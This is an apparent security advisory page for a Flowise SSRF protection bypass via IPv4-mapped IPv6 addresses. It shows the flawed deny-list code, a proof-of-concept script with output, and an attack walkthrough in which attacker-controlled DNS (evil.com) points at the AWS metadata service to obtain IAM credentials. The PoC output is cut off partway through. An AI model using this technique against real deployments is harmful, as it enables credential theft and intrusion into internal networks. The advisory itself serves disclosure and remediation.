high

CVE-2026-69257

npm · flowise

Summary

Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

Severity
high
EPSS
0.4% (p37)
CWE
CWE-918, CWE-1389
Also known as
GHSA-c6xh-wv4j-ppv5
Published
2026-08-04
Updated
2026-08-04

Advisory details

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

Affected Versions

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
    const parsedIp = ipaddr.parse(ip);
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/')
                const parsedRange = ipaddr.parse(range)
                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.')
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`)
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.')
        }
    }
}

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254:

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

  1. Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service)
  2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/
  3. resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }]
  4. isDeniedIP('::ffff:169.254.169.254', denyList) is called — all IPv4 CIDR entries are skipped due to kind mismatch
  5. Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

Function Usage Count Affected Components
secureAxiosRequest() 8+ HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank
secureFetch() 5+ ApiChain, Custom Function sandbox, Jira tool, MCP tool
checkDenyList() 3+ MCP Server URL validation, fetch-links service, web scraping

Proof of Concept

// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud):

# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed

169.254.169.254                kind=ipv4  isIPv4Mapped=false
::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254
127.0.0.1                      kind=ipv4  isIPv4Mapped=false
::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1
10.0.0.1                       kind=ipv4  isIPv4Mapped=false
::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1
192.168.1.1                    kind=ipv4  isIPv4Mapped=false
::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1
172.16.0.1                     kind=ipv4  isIPv4Mapped=false
::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1

Step 2: Normal IPv4 — correctly blocked ✅

169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️

::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)
::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)
::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)
::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)
::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)

Step 4: Root cause — kind mismatch skips CIDR check

Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind()    = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match?        = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix — all bypass addresses now blocked ✅

::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
:

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.